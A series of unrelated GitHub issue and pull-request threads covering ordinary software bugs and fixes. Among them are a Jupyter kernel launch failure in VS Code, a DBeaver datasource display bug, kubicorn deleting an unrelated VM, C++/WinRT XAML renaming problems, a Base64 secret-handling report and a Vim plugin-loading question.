> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:07.940 [warn] Error occurred while trying to start the kernel, options.disableUI=true Error: Jupyter notebook failed to launch.
{0}
> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:19.802 [info] Handle Execution of Cells 0 for ~/Python-Projects/Data_Science_projects/Pandas_Tutorial/EDA.ipynb
13:03:19.956 [info] Starting Kernel startUsingPythonInterpreter, .jvsc74a57bd031f2aee4e71d21fbe5cf8b01ff0e069b9275f58929596ceb00d14d90e3e16cd6./usr/bin/python3./usr/bin/python3.-m#ipykernel_launcher  (Python Path: /usr/bin/python3, Unknown, 3.9.2) for '~/Python-Projects/Data_Science_projects/Pandas_Tutorial/EDA.ipynb' (disableUI=false)
13:03:20.010 [info] Launching server
13:03:20.024 [info] Starting Notebook
13:03:20.086 [error] Failed to start the Jupyter Server Error: Jupyter notebook failed to launch.
{0}
> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:20.125 [warn] Error occurred while trying to start the kernel, options.disableUI=false Error: Jupyter notebook failed to launch.
{0}
> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:20.142 [warn] Kernel Error, context = start Error: Jupyter notebook failed to launch.
{0}
> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:20.293 [info] Process Execution: /usr/bin/python3 -c "import ipykernel;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
13:03:27.334 [info] Dispose Kernel '~/Python-Projects/Data_Science_projects/Pandas_Tutorial/EDA.ipynb' associated with '~/Python-Projects/Data_Science_projects/Pandas_Tutorial/EDA.ipynb'
13:03:27.371 [error] Error in execution Error: Jupyter notebook failed to launch.
{0}
> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:27.389 [error] Error in execution (get message for cell) Error: Jupyter notebook failed to launch.
{0}
> at new r (~/.vscode/extensions/ms-toolsai.jupyter-2023.11.1100101639-linux-arm64/dist/extension.node.js:81:4511)
> originalException = Error: EFAULT: bad address in system call argument, write
13:03:28.271 [info] End cell 0 execution after 0s, completed @ undefined, started @ undefined
`
Expected behaviour
XXX
Actual behaviour
XXX
Steps to reproduce:
[NOTE: Self-contained, minimal reproducing code samples are extremely helpful and will expedite addressing your issue]

XXX

Logs

Output for Jupyter in the Output panel (View→Output, change the drop-down the upper-right of the Output panel to Jupyter)

XXX

I'm sorry you are running into this issue.
This shoudl be fixed in the latest pre-release version of the Jupyter extension
Please install VS Code insiders and the latest pre-release version of Jupyter extnsion.
Or please wait for the next stable version of VS Code (some time this week).
If this still does not work, please do let us know, either ping here or feel free to open a new issue.


Merkle tree logo

This image doesn't display correctly with github dark mode

fixed

@darienmh thanks!


Version <IP_ADDRESS>201221033 don't show selected database in toolbar "Active Datasource"

System information:

Operating system (distribution) and version
Microsoft Windows [versão 10.0.19044.1466]
DBeaver version
Version <IP_ADDRESS>201221033
Additional extensions
none

Connection specification:

Database name and version
Oracle Oracle Database 19c EE Extreme Perf Release <IP_ADDRESS>.0 - Production

Driver name
Oracle JDBC driver <IP_ADDRESS>.0

Do you use tunnels or proxies (SSH, SOCKS, etc)?
NONE

Describe the problem you're observing:
After install new version <IP_ADDRESS>201221033, I ran the app and tryed select database, as always do, but this time, the combobox doesn't show active datasource, like prior versions. Restart app, same issue.
although combobox doesn't show active database is use, queries run normaly, what sugests just an exibition problem. It just show <N/A>
Steps to reproduce, if exist:
just open the app and try select datasource in toolbar
Include any warning/errors/backtraces from the logs

Additionally, log doesn't show any error, warning, nothing.

@mauriliolima unfortunately, cannot reproduce it.
Is the issue reproducible both for data and SQL editor? screenshots or video with the issue also could be very useful

There has been no update on the issue for a long time. if it is still actual - feel free to reopen it


refactor: Option builder for command constructors

Description

This PR addresses https://github.com/openfga/openfga/issues/1039 by adding Options to command constructors
References

Review Checklist

[x] I have clicked on "allow edits by maintainers".
[x] I have added documentation for new/changed functionality in this PR or in a PR to openfga.dev [Provide a link to any relevant PRs in the references section above]
[x] The correct base branch is being used, if not main
[x] I have added tests to validate that the change in functionality is working as expected

server/commands contain structures consisting of only 2 fields: datastore and logger.
For example, pkg/server/commands/expand.go
type ExpandQuery struct {
	logger    logger.Logger
	datastore storage.OpenFGADatastore
}

Do we want to refactor constructors of these structs to use Options as well?
It means, there will be only one option WithLogger.  I am not sure it makes sense to implement Options pattern in the case when we configure only logger.

It means, there will be only one option WithLogger. I am not sure it makes sense to implement Options pattern in the case when we configure only logger.

Yes please, lets implement there too. The less boilerplate we have to write for tests, the better :)

@miparnisari I made the requested changes, please review again.
After I deleted WithOption() calls from the tests codecov/patch job in the pipeline started to fail.
Can you help to figure out how to make this job green? (if it is required to merged the PR)


[GCE] kubicorn apply deleted an unrelated VM during backtrack/cleanup

git commit: 7ad088608cc5312e2e88e8f970fde691131ae9fd
I was trying to do a simple GCE cluster. Here's the commands & output:
$ kubicorn create test1 --cloudid <my gce project id> --profile google
...
$ kubicorn apply test1
2017-08-23T14:53:47-04:00 [✔]  Selected [fs] state store
2017-08-23T14:53:47-04:00 [✔]  Loaded cluster: test1
2017-08-23T14:53:47-04:00 [✔]  Init Cluster
2017-08-23T14:53:47-04:00 [✔]  Query existing resources
2017-08-23T14:53:48-04:00 [✔]  Resolving expected resources
2017-08-23T14:53:48-04:00 [✔]  Reconciling
2017-08-23T14:53:51-04:00 [✔]  Created instance [test1-master-0]
2017-08-23T14:56:01-04:00 [✖]  Error during apply of atomic reconciler, attempting clawback: Unable to find Master IP after defined wait
2017-08-23T14:56:01-04:00 [!]
2017-08-23T14:56:01-04:00 [!]  Attempting to backtrack and cleanup created resources.
2017-08-23T14:56:01-04:00 [!]
2017-08-23T14:56:02-04:00 [✔]  Deleted Instance [dev1]
2017-08-23T14:56:02-04:00 [✖]  Unable to commit state store: Nil cluster spec

I never saw test1-master-0 show up in the GCE web console, and after waiting a while, it ended up deleting a VM I had created by hand (dev1) instead!

Note, the failure to create the test1-master-0 is because my service account didn't have sufficient permissions to do so:
SERVICE_ACCOUNT_ACCESS_DENIED: The user does not have access to service account<EMAIL_ADDRESS>User<EMAIL_ADDRESS>Ask a project owner to grant you the iam.serviceAccountActor role on the service account

ping @MyDigitalLife

@MyDigitalLife thanks, I was able to use my custom service account by granting it roles/compute.instanceAdmin and adding it as a member to the default service account with roles/iam.serviceAccountActor. Everything seemed to go ok after that, although I had to edit the GCE firewall rules to allow access to port 443 from anywhere (the kubelet was trying to talk to the apiserver pod using the VM's public/external IP and failing).

Looks like there are 2 issues -

Removing existing VM in the GCE project.

Adding 443 firewall port for API server access.

@MyDigitalLife Can we use this bug for tracking issue 1. I will open another issue for other bug.

Yeah I certainly don't want to conflate!

@ncdc Can you list what permission you are using in you custom service account? I would like to document this.

@MyDigitalLife I ended up spinning up some VMs by hand + using kubeadm. In the GCE console, I granted the default service account compute read/write for the VM and that seemed to be sufficient. (I also gave it storage read/write, but that was for testing out some stuff I'm doing in heptio/ark).


Checkboxes

Is it possible to mark checkboxes with the package in it's current version?

Sorry for taking so long to reply. I've never tried using checkboxes ;)

Yes you can use checkboxes. Typically, your checkbox fieldname needs to have a value of 'Yes' for the mark to show up. This is being done in one of the tests see:
https://github.com/dommmel/fill-pdf/blob/master/test/test.js#L50


Renaming xaml file breaks everything in C++/WinRT

Describe the bug
Renaming a xaml file breaks the internal mechanics. Components and member functions not found, changes to the xaml no longer reflects on the internal .xaml.g.cpp files and casues compilation error.
Steps to reproduce the bug

Create a "blank app" project with C++/WinRT, with the automatically-generated MainPage.xaml
Renaming the XamlPage.xaml -> XamlPage2.xaml
Change the #include "MainPage.h" -> #include "MainPage2.h" in the now renamed MainPage2.cpp, do the same thing in App.cpp
Build and run the project, it can successfully run now, but the things are already broken.
Make changes to the now renamed MainPage2.xaml like adding another button called myButton2

Expected behavior
No response
Screenshots

MainPage2.xaml.g.hpp errors here

NuGet package version
Microsoft.UI.Xaml 2.7.1
Windows app type

[X] UWP
[ ] Win32

Device form factor
No response
Windows version
No response
Additional context
No response

Workarounds:

Don't do that.
Include MainPage2.xaml.g.h after MainPage.g.h. Your on your own fixing all the compiler errors with this.

What is happening:
XAML compiler generates files based on the XAML file name, where C++/WinRT includes files based on the type name. In fact the first build hides the problem, as a MainPage.xaml.g.h is left over from it. Because of this, it hide the fact that the new code from the XAML compiler wasn't included.
There is nothing on the C++/WinRT side that can be done to fix this, because it doesn't have enough info. Really the bug here is with how the XAML compiler generates files. In fact, it causes a lot of problems, because you can't put XAML files in subdirectories in C++. And the XAML compiler's file generation works just fine for C#, what it was originally created for.

Thanks @Link1J for this insight, it seems like nowhere mentioned on the C++WinRT doc. What you said sounds like an awfully half-baked implementation for Xaml compiler

Is this the kind of thing where Cleaning the project would help? Assuming you've fixed includes, etc, to reference up-to-date names.

@krschau No. And fixing the includes is basically impossible.

@krschau Isn't this something to be improved?


Base64 for password/secret management

Greetings,
We are researchers and we are looking for insecure coding patterns and configurations in the microservice architecture repositories. In your repository, we have found instances of BASE64 usage. CWE says "A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password."
Hopefully, you agree and will fix it.
Source:
https://github.com/FudanSELab/train-ticket/blob/a4ed2433b0b6ab6e0d60115fc19efecb2548c6cd/ts-auth-service/src/main/java/auth/security/jwt/JWTProvider.java#L26

Another instance is here:
https://github.com/FudanSELab/train-ticket/blob/a4ed2433b0b6ab6e0d60115fc19efecb2548c6cd/ts-common/src/main/java/edu/fudan/common/security/jwt/JWTUtil.java#L30

Thank you for your reminding. We will consider it carefully.
Or, do you have a good way to fix it?

Can try BCryptPasswordEncoder  https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html

We also provided some fixes for insecure HTTP endpoints in https://github.com/FudanSELab/train-ticket/pull/114


TS-4187: Keep the currently_open connections in sync with open sockets

This is an improvement on the original fix for TS-4187.  The original fix would in some case over count the open sockets.  It seems sometimes, the connection would have already been closed or rather be scheduled to be closed multiple times.  We would increase the currently_open count for every scheduled close, but only decrease it for the actual free.
I've changed things around to decrease in the do_io_close if it is called with a valid file descriptor.
This seems to better keep the currently_open count in sync with the established socket count on the systems.  However, both grow until we run out of memory on our production boxes.  But that is being tracked by TS-4330

This looks good to me. I think it should be reasonable to construct a simple integration test for this?

I think you could do a TSQA test.  Configure with global pools.   Run a set of requests through.  Wait a while for things to drain out.  Verify that the current_open connection count is 0 or really close to 0.  I don't see how to do an integration test that would exercise this case.


[IMPROVE] RUNEPool removal

Please change basis points to percentage on removal, it is easier for the user.
Please remove affiliate fee and hardcode it to vi with 50 bps .

@realpaaao what do you mean?
Please change basis points to percentage on removal, it is easier for the user. -> Rename the label from Basis Point to Percentage?
Please remove affiliate fee and hardcode it to vi with 50 bps . -> Replace 50 to vi?

@enriquesouza

yes change Basis point to Percentage label and let user withdraw percentages
Just remove the optinal label that the user can adjust it.

this PR https://github.com/vultisig/vultisig-ios/pull/1628 solves https://github.com/vultisig/vultisig-ios/issues/1592

QA done.


Benchmark test flake

This test failure occurs randomly unrelated to particular changes:
==> cilium-master: + docker run --rm -i --net=cilium --name netperf -l id.client tgraf/netperf sh -c 'netperf -c -C -t TCP_SENDFILE -H fd02::c0a8:210b:0:367d'
==> cilium-master: establish control: are you sure there is a netserver listening on fd02::c0a8:210b:0:367d at port 12865?
==> cilium-master: establish_control could not establish the control connection from ::0 port 0 address family AF_UNSPEC to fd02::c0a8:210b:0:367d port 12865 address family AF_INET6
==> cilium-master: ------------------------------------------------------------------------
==> cilium-master:                             Test Failed
==> cilium-master: Error: Could not netperf to server
==> cilium-master:
==> cilium-master: ------------------------------------------------------------------------
==> cilium-master: + abort 'Error: Could not netperf to server'
==> cilium-master: + set +x
==> cilium-master: #kernel
==> cilium-master: IpInReceives                    1160               0.0
==> cilium-master: IpInDelivers                    1160               0.0
==> cilium-master: IpOutRequests                   1188               0.0

Affects: #1056

The failing test is tests/03-docker.sh. The reason for the random test failure is that we hit the timeout when TCP gives up if we have not resolved labels and calculated policy in time. This happens because we launch netperf like this: docker run [...] netperf [...]
Adding a simple sleep 3s && netperf resolves the issue on my machine. Another option is to convert the test to use docker run -d and the docker exec [...] netperf [...]


Tutorial link in Realm website is broken

Hi, the tutorial link in Realm website is broken: https://realm.io/news/building-an-ios-clustered-map-view-in-objective-c/
I remember visiting this link before. Was it removed intentionally?

Looks like the hostname on the link should be news.realm.io. There's also a Swift version

https://news.realm.io/news/building-an-ios-clustered-map-view-in-objective-c
https://news.realm.io/news/building-an-ios-clustered-map-view-in-swift


Made footer-reveal bower-friendly

I ran bower init, configured it with your author information & repo location, and added simple bower install instructions to the README.
Thought it might be handy for others.

After merge, you'd just need to take the last step of registering the package: http://bower.io/docs/creating-packages/#register

This is great, thanks!


CODE93 support?

Is this library support CODE93 barcode type?

I CODE93 too. Please add the support!


Plugins not loading

I am running macvim 7.4  with following .vimrc file inside by home directory , but plugins are not loading on startup
.vimrc
set nocompatible
filetype off

set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

Plugin 'gmarik/Vundle.vim'
Plugin 'Lokaltog/powerline', {'rtp': 'powerline/bindings/vim/'}
Plugin 'kien/ctrlp.vim'

call vundle#end()

filetype plugin indent on

set noswapfile
set guifont=Inconsolata\ for\ Powerline:h15
let g:Powerline_symbols = 'fancy'
set encoding=utf-8
set t_Co=256
set fillchars+=stl:\ ,stlnc:\
set term=xterm-256color
set termencoding=utf-8

@thetutlage Is the above your entire vimrc? Have you installed the plugins?
:PluginInstall

Yes above is the entire vimrc , and i did installed plugins using :PluginInstall

Do the plugins load at all?
You may need to set the directory for Vundle to install plugins as they may be installing them somewhere else.
call vundle#begin('~/some/path/here')

Try call vundle#begin('~/.vim/bundle')

Solution: Place vimrc in the right directory.

I found that vim turn syntax off since 7.4 by default which is misleading that plugins aren't loaded.
Append this in .vimrc

syntax on

I have the same problem.

Could you please add the output of ls ~/.vim/bundle/. That would help debug the problem. What you should see, if everything's working properly, are folders for each of the vim plugins you're trying to install.

 Closing…


Can't text users by just using their phone number

If I enter a number manually, I cant actually message that person whereas regular hangouts allows this.
This prevents messaging people who don't use hangouts.

this could be a duplicate of #330
google voice is not correctly implemented in YakYak and we are looking for solutions


Would appericiate this in NPM library.

Done https://www.npmjs.com/package/decimath

Done https://www.npmjs.com/package/decimath


[Sample] Generate sample with swagger examples: --generate-sample

context: https://github.com/weidongxu-microsoft/work-notes/blob/main/design_review/sample-collection.md
final effect is similar with : https://docs.microsoft.com/en-us/graph/api/user-post-events?view=graph-rest-1.0&tabs=http#examples

our main goal is to show customers the basic usage of Python SDK

DPG demo: https://github.com/msyyc/azure-sdk-for-python/tree/sample-demo/sdk/deviceupdate/azure-iot-deviceupdate/_generated_samples
mgmt single-api demo: https://github.com/msyyc/azure-sdk-for-python/tree/sample-demo/sdk/costmanagement/azure-mgmt-costmanagement/_generated_samples
mgmt multi-api demo: https://github.com/msyyc/azure-sdk-for-python/tree/sample-demo/sdk/resources/azure-mgmt-msi/_generated_samples

effect: https://review.docs.microsoft.com/en-us/rest/api/DTL/Formulas/Delete?branch=examples&tabs=Go


[FeatureRequest] BloodHound-CE support

Hi NH-RED-TEAM,
I just wanted to open a feature request to support bloodhound-ce/5.0. Rusthound has been working great on Linux but automating the collection means we need to use bloodhound-ce, right now there are some missing fields/details and it does not work well in -CE.

Hi @ag-michael,
I'm currently working on it :) !

Thank you very much @g0h4n  look forward to it!

RustHound is now compatible with BloodHound-CE can be find in v2 branch. :rocket:
https://github.com/NH-RED-TEAM/RustHound/commit/b445723c0330c5b3e5c237d5632625379bf48fbf
Don't hesitate to test version 2.0
This will become the main branch asap. :smiley:

Thanks very much @g0h4n this is great news! Happy holidays/new years.


fix: attempt to fix screens integration

This seems to work on both Android and iOS. However there's still one issue on iOS.
When we call setNativeProps, it seems to interrupt the current gesture.
Since we call it to make the previous screen active on gesture start, it immediately ends the gesture.
Another issue is that the modal animation doesn't work great when screens is enabled.
since the previous screen needs to stay visible for the iOS modal presentation animation.

Looks good to me. A bit hacky, but let's do it.

Unfortunately there's this new bug with iOS and gesture that I have mentioned in the issue. I'm not sure how to fix that.

@osdnk Do you have an idea what might be happening here or how we can workaround the issue?

Maybe we can subscribe to current screen's progress as well, and only call setNativeProps when it's 1 (i.e. no transition is happening). This will make sure that there is no ongoing gesture that'll be interrupted by setNativeProps.
However this also means we need to set the last 2 screens as active always, which again exhibits the previous bug of the screen not being responsive to gestures.

On more thinking, we should set the last 2 screens as active if mode is modal. It's crucial to make sure that the previous screen stays visible underneath the modal. Since react-native-screens is enabled/disabled globally, we can't disable screens for part of the app. So if we use modal anywhere in the app, it's not feasible to enable screens at all.
Doing something like active={index === self.length - 2} doesn't seem to be possible. On Android, this disables interactions as soon as 2 screens are rendered. On iOS, this disables interactions when you go back.
It doesn't make sense to me, because with this PR, it's clearly possible to have last 2 screens active at the same time (we do this during the transition). The only difference seems to be:

If I set active={index === self.length - 2}, then the active prop of 2 screens will be set/changed in one state update
With this PR, they happen at different times

It seems that react-native-screens doesn't handle multiple screens becoming active/inactive at the same time?
cc @brentvatne @kmagiera

I have conditionally enabled screens only for non-modals. So I think if we can figure out the issue with interrupting the gesture, we're ready to merge this. It'll be better than disabling screens entirely on iOS.